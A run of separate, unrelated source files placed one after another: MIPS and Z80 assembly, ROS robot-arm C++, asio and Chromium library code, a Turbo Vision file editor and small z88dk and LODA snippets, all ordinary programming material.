ori $2, 10 ori $3, 5 subu $1, $3, $2 addu $4, $1, $2 subu $4, $3, $2 ori $4, 1 subu $1, $2, $3 lui $1, 10 subu $1, $2, $3 ori $2, 10 sw $1, 0($0) subu $1, $2, $3 sw $1, 4($0) subu $1, $2, $3 subu $4, $2, $3 beq $1, $4 QAQ ori $t0, 10 ori $t1, 10 QAQ: ori $t2, 10 subu $1, $2, $3 ori $2, 10 ori $0, 10 subu $1, $0, $2 subu $0, $2, $1
#include "ros/ros.h" #include "simple_arm/GoToPosition.h" #include <std_msgs/Float64.h> #include "local_vars.h" ros::Publisher joint1_pub, joint2_pub; std::vector<float> clamp_at_boundaries(float requested_joint1_angle, float requested_joint2_angle){ float clamped_joint1_angle = requested_joint1_angle; float clamped_joint2_angle = requested_joint2_angle; float min_j1, max_j1, min_j2, max_j2 {0}; ros::NodeHandle n; std::string node_name = ros::this_node::getName(); n.getParam(node_name+locals.params.joint1_min_angle, min_j1); n.getParam(node_name+locals.params.joint1_max_angle, max_j1); n.getParam(node_name+locals.params.joint2_min_angle, min_j2); n.getParam(node_name+locals.params.joint2_max_angle, max_j2); if(requested_joint1_angle < min_j1 || requested_joint1_angle > max_j1){ clamped_joint1_angle = std::min(std::max(requested_joint1_angle, min_j1), max_j1); ROS_WARN("Joint1 angle is out of bounds, valid range (%1.2f,%1.2f), clamping to: %1.2f", min_j1, max_j1, clamped_joint1_angle); } if(requested_joint2_angle < min_j2 || requested_joint2_angle > max_j2){ clamped_joint2_angle = std::min(std::max(requested_joint2_angle, min_j2), max_j2); ROS_WARN("Joint2 angle is out of bounds, valid range (%1.2f,%1.2f), clamping to: %1.2f", min_j2, max_j2, clamped_joint2_angle); } std::vector<float> clamped_angles = {clamped_joint1_angle, clamped_joint2_angle}; return clamped_angles; } bool safe_move_request_handler(simple_arm::GoToPosition::Request& req, simple_arm::GoToPosition::Response& res){ ROS_INFO("GoToPositionRequest received - j1:%1.2f, j2:%1.2f", (float)req.joint_1, (float)req.joint_2); std::vector<float> joint_angles = clamp_at_boundaries(req.joint_1, req.joint_2); std_msgs::Float64 joint1_angle, joint2_angle {}; joint1_angle.data = joint_angles[0]; joint2_angle.data = joint_angles[1]; joint1_pub.publish(joint1_angle); joint2_pub.publish(joint2_angle); ros::Duration(3).sleep(); res.msg_feedback = "Joint angles set - j1: " + std::to_string(joint_angles[0]) + " , j2: " + std::to_string(joint_angles[1]); ROS_INFO_STREAM(res.msg_feedback); return true; } int main(int argc, char** argv){ ros::init(argc, argv, locals.nodes.arm_mover); ros::NodeHandle n; joint1_pub = n.advertise<std_msgs::Float64>(locals.topics.joint1_cmd, 10); joint2_pub = n.advertise<std_msgs::Float64>(locals.topics.joint2_cmd, 10); ros::ServiceServer service = n.advertiseService(locals.services.safe_move,safe_move_request_handler); ROS_INFO("Ready to send joint commands"); ros::spin(); return 0; }
// // ip/basic_resolver_iterator.hpp // ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ // // Copyright (c) 2003-2018 Christopher M. Kohlhoff (chris at kohlhoff dot com) // // Distributed under the Boost Software License, Version 1.0. (See accompanying // file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt) // #ifndef ASIO_IP_BASIC_RESOLVER_ITERATOR_HPP #define ASIO_IP_BASIC_RESOLVER_ITERATOR_HPP #if defined(_MSC_VER) && (_MSC_VER >= 1200) # pragma once #endif // defined(_MSC_VER) && (_MSC_VER >= 1200) #include "../../../../../asio/asio/include/asio/detail/config.hpp" #include <cstddef> #include <cstring> #include <iterator> #include <string> #include <vector> #include "../../../../../asio/asio/include/asio/detail/memory.hpp" #include "../../../../../asio/asio/include/asio/detail/socket_ops.hpp" #include "../../../../../asio/asio/include/asio/detail/socket_types.hpp" #include "../../../../../asio/asio/include/asio/ip/basic_resolver_entry.hpp" #if defined(ASIO_WINDOWS_RUNTIME) # include "asio/detail/winrt_utils.hpp" #endif // defined(ASIO_WINDOWS_RUNTIME) #include "../../../../../asio/asio/include/asio/detail/push_options.hpp" namespace asio { namespace ip { /// An iterator over the entries produced by a resolver. /** * The asio::ip::basic_resolver_iterator class template is used to define * iterators over the results returned by a resolver. * * The iterator's value_type, obtained when the iterator is dereferenced, is: * @code const basic_resolver_entry<InternetProtocol> @endcode * * @par Thread Safety * @e Distinct @e objects: Safe.@n * @e Shared @e objects: Unsafe. */ template <typename InternetProtocol> class basic_resolver_iterator { public: /// The type used for the distance between two iterators. typedef std::ptrdiff_t difference_type; /// The type of the value pointed to by the iterator. typedef basic_resolver_entry<InternetProtocol> value_type; /// The type of the result of applying operator->() to the iterator. typedef const basic_resolver_entry<InternetProtocol>* pointer; /// The type of the result of applying operator*() to the iterator. typedef const basic_resolver_entry<InternetProtocol>& reference; /// The iterator category. typedef std::forward_iterator_tag iterator_category; /// Default constructor creates an end iterator. basic_resolver_iterator() : index_(0) { } /// Copy constructor. basic_resolver_iterator(const basic_resolver_iterator& other) : values_(other.values_), index_(other.index_) { } #if defined(ASIO_HAS_MOVE) || defined(GENERATING_DOCUMENTATION) /// Move constructor. basic_resolver_iterator(basic_resolver_iterator&& other) : values_(ASIO_MOVE_CAST(values_ptr_type)(other.values_)), index_(other.index_) { other.index_ = 0; } #endif // defined(ASIO_HAS_MOVE) || defined(GENERATING_DOCUMENTATION) /// Assignment operator. basic_resolver_iterator& operator=(const basic_resolver_iterator& other) { values_ = other.values_; index_ = other.index_; return *this; } #if defined(ASIO_HAS_MOVE) || defined(GENERATING_DOCUMENTATION) /// Move-assignment operator. basic_resolver_iterator& operator=(basic_resolver_iterator&& other) { if (this != &other) { values_ = ASIO_MOVE_CAST(values_ptr_type)(other.values_); index_ = other.index_; other.index_ = 0; } return *this; } #endif // defined(ASIO_HAS_MOVE) || defined(GENERATING_DOCUMENTATION) /// Dereference an iterator. const basic_resolver_entry<InternetProtocol>& operator*() const { return dereference(); } /// Dereference an iterator. const basic_resolver_entry<InternetProtocol>* operator->() const { return &dereference(); } /// Increment operator (prefix). basic_resolver_iterator& operator++() { increment(); return *this; } /// Increment operator (postfix). basic_resolver_iterator operator++(int) { basic_resolver_iterator tmp(*this); ++*this; return tmp; } /// Test two iterators for equality. friend bool operator==(const basic_resolver_iterator& a, const basic_resolver_iterator& b) { return a.equal(b); } /// Test two iterators for inequality. friend bool operator!=(const basic_resolver_iterator& a, const basic_resolver_iterator& b) { return !a.equal(b); } protected: void increment() { if (++index_ == values_->size()) { // Reset state to match a default constructed end iterator. values_.reset(); index_ = 0; } } bool equal(const basic_resolver_iterator& other) const { if (!values_ && !other.values_) return true; if (values_ != other.values_) return false; return index_ == other.index_; } const basic_resolver_entry<InternetProtocol>& dereference() const { return (*values_)[index_]; } typedef std::vector<basic_resolver_entry<InternetProtocol> > values_type; typedef asio::detail::shared_ptr<values_type> values_ptr_type; values_ptr_type values_; std::size_t index_; }; } // namespace ip } // namespace asio #include "../../../../../asio/asio/include/asio/detail/pop_options.hpp" #endif // ASIO_IP_BASIC_RESOLVER_ITERATOR_HPP
// Copyright (c) 2012 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "components/policy/core/browser/configuration_policy_handler.h" #include <stddef.h> #include <algorithm> #include <utility> #include "base/callback.h" #include "base/files/file_path.h" #include "base/logging.h" #include "base/macros.h" #include "base/prefs/pref_value_map.h" #include "base/strings/string16.h" #include "base/strings/string_number_conversions.h" #include "base/strings/string_util.h" #include "components/policy/core/browser/policy_error_map.h" #include "components/policy/core/common/policy_map.h" #include "grit/components_strings.h" #include "url/gurl.h" namespace policy { // ConfigurationPolicyHandler implementation ----------------------------------- // static std::string ConfigurationPolicyHandler::ValueTypeToString( base::Value::Type type) { static const char* strings[] = { "null", "boolean", "integer", "double", "string", "binary", "dictionary", "list" }; CHECK(static_cast<size_t>(type) < arraysize(strings)); return std::string(strings[type]); } ConfigurationPolicyHandler::ConfigurationPolicyHandler() { } ConfigurationPolicyHandler::~ConfigurationPolicyHandler() { } void ConfigurationPolicyHandler::PrepareForDisplaying( PolicyMap* policies) const {} void ConfigurationPolicyHandler::ApplyPolicySettingsWithParameters( const PolicyMap& policies, const PolicyHandlerParameters& parameters, PrefValueMap* prefs) { ApplyPolicySettings(policies, prefs); } // TypeCheckingPolicyHandler implementation ------------------------------------ TypeCheckingPolicyHandler::TypeCheckingPolicyHandler( const char* policy_name, base::Value::Type value_type) : policy_name_(policy_name), value_type_(value_type) { } TypeCheckingPolicyHandler::~TypeCheckingPolicyHandler() { } const char* TypeCheckingPolicyHandler::policy_name() const { return policy_name_; } bool TypeCheckingPolicyHandler::CheckPolicySettings(const PolicyMap& policies, PolicyErrorMap* errors) { const base::Value* value = NULL; return CheckAndGetValue(policies, errors, &value); } bool TypeCheckingPolicyHandler::CheckAndGetValue(const PolicyMap& policies, PolicyErrorMap* errors, const base::Value** value) { *value = policies.GetValue(policy_name_); if (*value && !(*value)->IsType(value_type_)) { errors->AddError(policy_name_, IDS_POLICY_TYPE_ERROR, ValueTypeToString(value_type_)); return false; } return true; } // IntRangePolicyHandlerBase implementation ------------------------------------ IntRangePolicyHandlerBase::IntRangePolicyHandlerBase( const char* policy_name, int min, int max, bool clamp) : TypeCheckingPolicyHandler(policy_name, base::Value::TYPE_INTEGER), min_(min), max_(max), clamp_(clamp) { } bool IntRangePolicyHandlerBase::CheckPolicySettings(const PolicyMap& policies, PolicyErrorMap* errors) { const base::Value* value; return CheckAndGetValue(policies, errors, &value) && EnsureInRange(value, NULL, errors); } IntRangePolicyHandlerBase::~IntRangePolicyHandlerBase() { } bool IntRangePolicyHandlerBase::EnsureInRange(const base::Value* input, int* output, PolicyErrorMap* errors) { if (!input) return true; int value; if (!input->GetAsInteger(&value)) { NOTREACHED(); return false; } if (value < min_ || value > max_) { if (errors) { errors->AddError(policy_name(), IDS_POLICY_OUT_OF_RANGE_ERROR, base::IntToString(value)); } if (!clamp_) return false; value = std::min(std::max(value, min_), max_); } if (output) *output = value; return true; } // StringMappingListPolicyHandler implementation ----------------------------- StringMappingListPolicyHandler::MappingEntry::MappingEntry( const char* policy_value, scoped_ptr<base::Value> map) : enum_value(policy_value), mapped_value(std::move(map)) {} StringMappingListPolicyHandler::MappingEntry::~MappingEntry() {} StringMappingListPolicyHandler::StringMappingListPolicyHandler( const char* policy_name, const char* pref_path, const GenerateMapCallback& callback) : TypeCheckingPolicyHandler(policy_name, base::Value::TYPE_LIST), pref_path_(pref_path), map_getter_(callback) {} StringMappingListPolicyHandler::~StringMappingListPolicyHandler() {} bool StringMappingListPolicyHandler::CheckPolicySettings( const PolicyMap& policies, PolicyErrorMap* errors) { const base::Value* value; return CheckAndGetValue(policies, errors, &value) && Convert(value, NULL, errors); } void StringMappingListPolicyHandler::ApplyPolicySettings( const PolicyMap& policies, PrefValueMap* prefs) { if (!pref_path_) return; const base::Value* value = policies.GetValue(policy_name()); scoped_ptr<base::ListValue> list(new base::ListValue()); if (value && Convert(value, list.get(), NULL)) prefs->SetValue(pref_path_, std::move(list)); } bool StringMappingListPolicyHandler::Convert(const base::Value* input, base::ListValue* output, PolicyErrorMap* errors) { if (!input) return true; const base::ListValue* list_value = NULL; if (!input->GetAsList(&list_value)) { NOTREACHED(); return false; } for (base::ListValue::const_iterator entry(list_value->begin()); entry != list_value->end(); ++entry) { std::string entry_value; if (!(*entry)->GetAsString(&entry_value)) { if (errors) { errors->AddError(policy_name(), entry - list_value->begin(), IDS_POLICY_TYPE_ERROR, ValueTypeToString(base::Value::TYPE_STRING)); } continue; } scoped_ptr<base::Value> mapped_value = Map(entry_value); if (mapped_value) { if (output) output->Append(mapped_value.release()); } else { if (errors) { errors->AddError(policy_name(), entry - list_value->begin(), IDS_POLICY_OUT_OF_RANGE_ERROR); } } } return true; } scoped_ptr<base::Value> StringMappingListPolicyHandler::Map( const std::string& entry_value) { // Lazily generate the map of policy strings to mapped values. if (map_.empty()) map_getter_.Run(&map_); scoped_ptr<base::Value> return_value; for (ScopedVector<MappingEntry>::const_iterator it = map_.begin(); it != map_.end(); ++it) { const MappingEntry* mapping_entry = *it; if (mapping_entry->enum_value == entry_value) { return_value = make_scoped_ptr(mapping_entry->mapped_value->DeepCopy()); break; } } return return_value; } // IntRangePolicyHandler implementation ---------------------------------------- IntRangePolicyHandler::IntRangePolicyHandler(const char* policy_name, const char* pref_path, int min, int max, bool clamp) : IntRangePolicyHandlerBase(policy_name, min, max, clamp), pref_path_(pref_path) { } IntRangePolicyHandler::~IntRangePolicyHandler() { } void IntRangePolicyHandler::ApplyPolicySettings(const PolicyMap& policies, PrefValueMap* prefs) { if (!pref_path_) return; const base::Value* value = policies.GetValue(policy_name()); int value_in_range; if (value && EnsureInRange(value, &value_in_range, NULL)) prefs->SetInteger(pref_path_, value_in_range); } // IntPercentageToDoublePolicyHandler implementation --------------------------- IntPercentageToDoublePolicyHandler::IntPercentageToDoublePolicyHandler( const char* policy_name, const char* pref_path, int min, int max, bool clamp) : IntRangePolicyHandlerBase(policy_name, min, max, clamp), pref_path_(pref_path) { } IntPercentageToDoublePolicyHandler::~IntPercentageToDoublePolicyHandler() { } void IntPercentageToDoublePolicyHandler::ApplyPolicySettings( const PolicyMap& policies, PrefValueMap* prefs) { if (!pref_path_) return; const base::Value* value = policies.GetValue(policy_name()); int percentage; if (value && EnsureInRange(value, &percentage, NULL)) prefs->SetDouble(pref_path_, static_cast<double>(percentage) / 100.); } // SimplePolicyHandler implementation ------------------------------------------ SimplePolicyHandler::SimplePolicyHandler( const char* policy_name, const char* pref_path, base::Value::Type value_type) : TypeCheckingPolicyHandler(policy_name, value_type), pref_path_(pref_path) { } SimplePolicyHandler::~SimplePolicyHandler() { } void SimplePolicyHandler::ApplyPolicySettings(const PolicyMap& policies, PrefValueMap* prefs) { if (!pref_path_) return; const base::Value* value = policies.GetValue(policy_name()); if (value) prefs->SetValue(pref_path_, value->CreateDeepCopy()); } // SchemaValidatingPolicyHandler implementation -------------------------------- SchemaValidatingPolicyHandler::SchemaValidatingPolicyHandler( const char* policy_name, Schema schema, SchemaOnErrorStrategy strategy) : policy_name_(policy_name), schema_(schema), strategy_(strategy) { DCHECK(schema_.valid()); } SchemaValidatingPolicyHandler::~SchemaValidatingPolicyHandler() { } const char* SchemaValidatingPolicyHandler::policy_name() const { return policy_name_; } bool SchemaValidatingPolicyHandler::CheckPolicySettings( const PolicyMap& policies, PolicyErrorMap* errors) { const base::Value* value = policies.GetValue(policy_name()); if (!value) return true; std::string error_path; std::string error; bool result = schema_.Validate(*value, strategy_, &error_path, &error); if (errors && !error.empty()) { if (error_path.empty()) error_path = "(ROOT)"; errors->AddError(policy_name_, error_path, error); } return result; } bool SchemaValidatingPolicyHandler::CheckAndGetValue( const PolicyMap& policies, PolicyErrorMap* errors, scoped_ptr<base::Value>* output) { const base::Value* value = policies.GetValue(policy_name()); if (!value) return true; output->reset(value->DeepCopy()); std::string error_path; std::string error; bool result = schema_.Normalize(output->get(), strategy_, &error_path, &error, NULL); if (errors && !error.empty()) { if (error_path.empty()) error_path = "(ROOT)"; errors->AddError(policy_name_, error_path, error); } return result; } // SimpleSchemaValidatingPolicyHandler implementation -------------------------- SimpleSchemaValidatingPolicyHandler::SimpleSchemaValidatingPolicyHandler( const char* policy_name, const char* pref_path, Schema schema, SchemaOnErrorStrategy strategy, RecommendedPermission recommended_permission, MandatoryPermission mandatory_permission) : SchemaValidatingPolicyHandler(policy_name, schema.GetKnownProperty(policy_name), strategy), pref_path_(pref_path), allow_recommended_(recommended_permission == RECOMMENDED_ALLOWED), allow_mandatory_(mandatory_permission == MANDATORY_ALLOWED) { } SimpleSchemaValidatingPolicyHandler::~SimpleSchemaValidatingPolicyHandler() { } bool SimpleSchemaValidatingPolicyHandler::CheckPolicySettings( const PolicyMap& policies, PolicyErrorMap* errors) { const PolicyMap::Entry* policy_entry = policies.Get(policy_name()); if (!policy_entry) return true; if ((policy_entry->level == policy::POLICY_LEVEL_MANDATORY && !allow_mandatory_) || (policy_entry->level == policy::POLICY_LEVEL_RECOMMENDED && !allow_recommended_)) { if (errors) errors->AddError(policy_name(), IDS_POLICY_LEVEL_ERROR); return false; } return SchemaValidatingPolicyHandler::CheckPolicySettings(policies, errors); } void SimpleSchemaValidatingPolicyHandler::ApplyPolicySettings( const PolicyMap& policies, PrefValueMap* prefs) { if (!pref_path_) return; const base::Value* value = policies.GetValue(policy_name()); if (value) prefs->SetValue(pref_path_, value->CreateDeepCopy()); } // LegacyPoliciesDeprecatingPolicyHandler implementation ----------------------- // TODO(binjin): Add a new common base class for SchemaValidatingPolicyHandler // and TypeCheckingPolicyHandler representing policy handlers for a single // policy, and use it as the type of |new_policy_handler|. // http://crbug.com/345299 LegacyPoliciesDeprecatingPolicyHandler::LegacyPoliciesDeprecatingPolicyHandler( ScopedVector<ConfigurationPolicyHandler> legacy_policy_handlers, scoped_ptr<SchemaValidatingPolicyHandler> new_policy_handler) : legacy_policy_handlers_(std::move(legacy_policy_handlers)), new_policy_handler_(std::move(new_policy_handler)) {} LegacyPoliciesDeprecatingPolicyHandler:: ~LegacyPoliciesDeprecatingPolicyHandler() { } bool LegacyPoliciesDeprecatingPolicyHandler::CheckPolicySettings( const PolicyMap& policies, PolicyErrorMap* errors) { if (policies.Get(new_policy_handler_->policy_name())) { return new_policy_handler_->CheckPolicySettings(policies, errors); } else { // The new policy is not set, fall back to legacy ones. ScopedVector<ConfigurationPolicyHandler>::iterator handler; bool valid_policy_found = false; for (handler = legacy_policy_handlers_.begin(); handler != legacy_policy_handlers_.end(); ++handler) { if ((*handler)->CheckPolicySettings(policies, errors)) valid_policy_found = true; } return valid_policy_found; } } void LegacyPoliciesDeprecatingPolicyHandler::ApplyPolicySettingsWithParameters( const policy::PolicyMap& policies, const policy::PolicyHandlerParameters& parameters, PrefValueMap* prefs) { if (policies.Get(new_policy_handler_->policy_name())) { new_policy_handler_->ApplyPolicySettingsWithParameters(policies, parameters, prefs); } else { // The new policy is not set, fall back to legacy ones. PolicyErrorMap scoped_errors; ScopedVector<ConfigurationPolicyHandler>::iterator handler; for (handler = legacy_policy_handlers_.begin(); handler != legacy_policy_handlers_.end(); ++handler) { if ((*handler)->CheckPolicySettings(policies, &scoped_errors)) { (*handler) ->ApplyPolicySettingsWithParameters(policies, parameters, prefs); } } } } void LegacyPoliciesDeprecatingPolicyHandler::ApplyPolicySettings( const policy::PolicyMap& /* policies */, PrefValueMap* /* prefs */) { NOTREACHED(); } } // namespace policy
subttl emfinit.asm - Emulator initialization and FINIT instruction page ;******************************************************************************* ;emfinit.asm - Emulator initialization and FINIT instruction ; ; Microsoft Confidential ; ; Copyright (c) Microsoft Corporation 1991 ; All Rights Reserved ; ;Revision History: ; ; [] 09/05/91 TP Initial 32-bit version. ; ;******************************************************************************* EM_ENTRY eEmulatorInit EmulatorInit: EM_ENTRY eFINIT eFINIT: mov esi,BEGstk mov EMSEG:[CURstk],INITstk mov ecx,Numlev xor eax,eax EmInitLoop: mov EMSEG:[esi].ExpSgn,bTAG_EMPTY ;Exponent and sign are zero mov EMSEG:[esi].lManHi,eax mov EMSEG:[esi].lManLo,eax add esi, Reg87Len loop EmInitLoop mov EMSEG:[StatusWord],ax ; clear status word mov [esp+4].OldStatus,ax ; clear saved status word. mov EMSEG:[PrevCodeOff],eax mov EMSEG:[PrevDataOff],eax mov EMSEG:[LongControlWord],InitControlWord mov eax,offset Round64near mov EMSEG:[RoundMode],eax ;Address of round routine mov EMSEG:[TransRound],eax ;Address of round routine mov EMSEG:[SavedRoundMode],eax mov EMSEG:[ZeroVector],offset SaveResult mov EMSEG:[Einstall], 1 ret
MODULE mod320 ;-------------------------------------------------------------------------------------------- ; Calculates HL = HL % 320, for uin16_t values (0..65535) ; modifies: DE, BC, F ; code length: 18 bytes, about 500T total duration (for SUB_POWER 6) ; (for [incomplete] int16_t input you can do `add hl,32640` to get -32640..+32767 as 0..65407) SUB_POWER EQU 6 ; 6 is max, makes the loop to start with -64*320 ; you can use lower number if you know your max HL will be lower hlMod320: ld de,-320<<SUB_POWER ; 10T ld bc,$0100+SUB_POWER+1 ; 10T .loop: add hl,de ; 11T jr c,.loop ; 12T / 7T sbc hl,de ; 15T dec c ; 4T ret z ; 5T / 11T bsra de,b ; 8T ; Z80 alternative: sra d : rr e (16T) jp .loop ; 10T ;-------------------------------------------------------------------------------------------- ; for smaller HL values it may be worth to unroll the routine, like for HL=0..2048 ; modifies: DE, F ; (this is 24 bytes, about 112-150T total duration (or even more for HL 2560+)) hlMod320_unrolled: ld de,-320<<2 ; starting from -4*320 (-1280) .l2: add hl,de jr c,.l2 sbc hl,de ld de,-320<<1 add hl,de jr c,.power1_hit sbc hl,de .power1_hit: ld de,-320<<0 add hl,de ret c ; power0_hit sbc hl,de ret ;-------------------------------------------------------------------------------------------- ; for top performance if you can afford 256-byte aligned lookup table (LUT) ; input: DE (depending on the LUT: input is treated either as unsigned or signed integer) ; modifies: HL, AF ; Best case is 33T, worst case 87T, average ~68T ; DEFINE MOD320LUT_SIGNED ; uncomment for signed input (result is still 0..319) deMod320_lut: ld h,high mod320lut ld l,d ; because (DE%320 == (DE%1280)%320) && (DE%1280 is D=D%5) (hint: 4*320 = 5*256 = 1280) ; the value D%5 describes all possible adjustments of E to become result ; the lookup table contains 256 control values selected by D%5 value ld d,(hl) ; 1 -> D%5 == 0 -> D=0 and E form result ; 2 -> D%5 == 4 -> D=0 and E lacks +64 to become result ; 64+2, 128+2, 192+2 for D%5 == 1,2,3 -> value to subtract from E ; (forms result when CF=0 else lacks +64) dec d ret z ; D%5 == 0, result is D=0 and original E dec d jr z,.add64toDe ; D%5 == 4, result is original E + 64 ld a,e sub d ; adjust original E by value from table ld d,0 ld e,a ; DE = result if CF=0 ret nc ; else E belongs to previous 320 range .add64toDe: ld a,64 ; so here DE needs another +64 to become result add de,a ret ALIGN 256 mod320lut: IFDEF MOD320LUT_SIGNED ; signed (manually tested) .(128/5) DB 0+1,64+2,128+2,192+2,0+2 ; mod 5 based values for 0..127 DB 0+1,64+2,128+2 DB 128+2,192+2,0+2 ; mod 5 based values for -128..-1 .(128/5) DB 0+1,64+2,128+2,192+2,0+2 ELSE ; unsigned (mod320.test.i.asm expects unsigned case) .(256/5) DB 0+1,64+2,128+2,192+2,0+2 DB 0+1 ENDIF ASSERT 256 == $-mod320lut ENDMODULE
; void *memalign_unlocked(size_t alignment, size_t size) SECTION code_alloc_malloc PUBLIC _memalign_unlocked EXTERN _aligned_alloc_unlocked defc _memalign_unlocked = _aligned_alloc_unlocked
; A106567: a(n) = 5*a(n-1) + 4*a(n-2), with a(0) = 4, a(1) = 4. ; Submitted by Jamie Morken(s4) ; 0,4,20,116,660,3764,21460,122356,697620,3977524,22678100,129300596,737215380,4203279284,23965257940,136639406836,779058065940,4441847957044,25325472048980,144394752073076,823275648561300,4693957251098804,26762888849739220,152590273253091316,870002921664413460,4960375701334432564,28281890193329816660,161250953771986813556,919382329633253334420,5241915463254213926324,29887106634804082969300,170403195027037270551796,971564401674402684636180,5539434788480162505388084,31583431549098423265485140 mov $1,1 lpb $0 sub $0,1 mov $2,$3 mul $2,4 mul $3,5 add $3,$1 mov $1,$2 lpe mov $0,$3 mul $0,4
/*------------------------------------------------------------*/ /* filename - tfiledtr.cpp */ /* */ /* function(s) */ /* TFileEditor member functions */ /*------------------------------------------------------------*/ /* * Turbo Vision - Version 2.0 * * Copyright (c) 1994 by Borland International * All Rights Reserved. * */ #define Uses_TProgram #define Uses_TGroup #define Uses_TEditor #define Uses_TFileEditor #define Uses_TEvent #define Uses_opstream #define Uses_ipstream #include <tvision/tv.h> #if !defined( __LIMITS_H ) #include <limits.h> #endif // __LIMITS_H #if !defined( __STRING_H ) #include <string.h> #endif // __STRING_H #if !defined( __FSTREAM_H ) #include <fstream.h> #endif // __FSTREAM_H #if !defined( __IO_H ) #include <io.h> #endif // __IO_H #if !defined( __STDIO_H ) #include <stdio.h> #endif // __STDIO_H #if !defined( __STDLIB_H ) #include <alloc.h> #endif inline uint min( uint u1, uint u2 ) { return u1 < u2 ? u1 : u2; } TFileEditor::TFileEditor( const TRect& bounds, TScrollBar *aHScrollBar, TScrollBar *aVScrollBar, TIndicator *aIndicator, TStringView aFileName ) : TEditor( bounds, aHScrollBar, aVScrollBar, aIndicator, 0 ) { if( aFileName.empty() ) fileName[0] = EOS; else { strnzcpy( fileName, aFileName, sizeof(fileName) ); fexpand( fileName ); if( isValid ) isValid = loadFile(); } } void TFileEditor::doneBuffer() { delete buffer; } void TFileEditor::handleEvent( TEvent& event ) { TEditor::handleEvent(event); switch( event.what ) { case evCommand: switch( event.message.command ) { case cmSave: save(); break; case cmSaveAs: saveAs(); break; default: return; } break; default: return; } clearEvent(event); } void TFileEditor::initBuffer() { buffer = new char[bufSize]; } Boolean TFileEditor::loadFile() { ifstream f( fileName, ios::in | ios::binary ); if( !f ) { setBufLen( 0 ); return True; } else { f.seekg(0, ios::end); long fSize = f.tellg(); f.seekg(0); if( fSize > UINT_MAX-0x1Fl || setBufSize(uint(fSize)) == False ) { editorDialog( edOutOfMemory ); return False; } else { if ( fSize > INT_MAX ) { f.read( &buffer[bufSize - uint(fSize)], INT_MAX ); f.read( &buffer[bufSize - uint(fSize) + INT_MAX], uint(fSize - INT_MAX) ); } else f.read( &buffer[bufSize - uint(fSize)], uint(fSize) ); if( !f ) { editorDialog( edReadError, fileName ); return False; } else { setBufLen(uint(fSize)); return True; } } } } Boolean TFileEditor::save() { if( *fileName == EOS ) return saveAs(); else return saveFile(); } Boolean TFileEditor::saveAs() { Boolean res = False; if( editorDialog( edSaveAs, fileName ) != cmCancel ) { fexpand( fileName ); message( owner, evBroadcast, cmUpdateTitle, 0 ); res = saveFile(); if( isClipboard() == True ) *fileName = EOS; } return res; } static void writeBlock( ofstream& f, char *buf, unsigned len ) { while( len > 0 ) { int l = len < INT_MAX ? len : INT_MAX; f.write( buf, l ); buf += l; len -= l; } } Boolean TFileEditor::saveFile() { char drive[MAXDRIVE]; char dir[MAXDIR]; char file[MAXFILE]; char ext[MAXEXT]; if( (editorFlags & efBackupFiles) != 0 ) { fnsplit( fileName, drive, dir, file, ext ); char backupName[MAXPATH]; fnmerge( backupName, drive, dir, file, backupExt ); unlink( backupName ); rename( fileName, backupName ); } ofstream f( fileName, ios::out | ios::binary ); if( !f ) { editorDialog( edCreateError, fileName ); return False; } else { writeBlock( f, buffer, curPtr ); writeBlock( f, buffer+curPtr+gapLen, bufLen-curPtr ); if( !f ) { editorDialog( edWriteError, fileName ); return False; } else { modified = False; update(ufUpdate); } } return True; } Boolean TFileEditor::setBufSize( uint newSize ) { if( newSize == 0) newSize = 0x1000; else if( newSize > uint(-0x1000) ) newSize = UINT_MAX-0x1F; else newSize = (newSize + 0x0FFF) & -0x1000; // 0x....F000 if( newSize != bufSize ) { char *temp = buffer; /* Bypass safety pool to allocate buffer, but check for possible NULL return value. */ if( (buffer = (char *) malloc( newSize )) == 0 ) { delete temp; return False; } uint n = bufLen - curPtr + delCount; memcpy( buffer, temp, min( newSize, bufSize ) ); memmove( &buffer[newSize - n], &temp[bufSize - n], n ); delete temp; bufSize = newSize; gapLen = bufSize - bufLen; } return True; } void TFileEditor::shutDown() { setCmdState(cmSave, False); setCmdState(cmSaveAs, False); TEditor::shutDown(); } void TFileEditor::updateCommands() { TEditor::updateCommands(); setCmdState(cmSave, True); setCmdState(cmSaveAs, True); } Boolean TFileEditor::valid( ushort command ) { if( command == cmValid ) return isValid; else { if( modified == True ) { int d; if( *fileName == EOS ) d = edSaveUntitled; else d = edSaveModify; switch( editorDialog( d, fileName ) ) { case cmYes: return save(); case cmNo: modified = False; return True; case cmCancel: return False; } } } return True; } #if !defined(NO_STREAMABLE) void TFileEditor::write( opstream& os ) { TEditor::write( os ); os.writeString( fileName ); os << selStart << selEnd << curPtr; } void *TFileEditor::read( ipstream& is ) { TEditor::read( is ); bufSize = 0; is.readString( fileName, sizeof( fileName ) ); if( isValid ) { isValid = loadFile(); uint sStart, sEnd, curs; is >> sStart >> sEnd >> curs; if( isValid && sEnd <= bufLen ) { setSelect( sStart, sEnd, Boolean(curs == sStart) ); trackCursor( True ); } } return this; } TStreamable *TFileEditor::build() { return new TFileEditor( streamableInit ); } TFileEditor::TFileEditor( StreamableInit ) : TEditor( streamableInit ) { } #endif
; ; Z88 Graphics Functions - Small C+ stubs ; ; Written around the Interlogic Standard Library ; ; Stubs Written by D Morris - 30/9/98 ; ; ; $Id: undrawto.asm,v 1.2 2009/10/23 14:25:51 stefano Exp $ ; ;Usage: undrawto(struct *pixels) XLIB undrawto LIB swapgfxbk XREF swapgfxbk1 XREF COORDS LIB line LIB respixel .undrawto ld ix,0 add ix,sp ld hl,(COORDS) ld e,(ix+2) ;y ld d,(ix+4) ;x call swapgfxbk ld ix,respixel call line jp swapgfxbk1
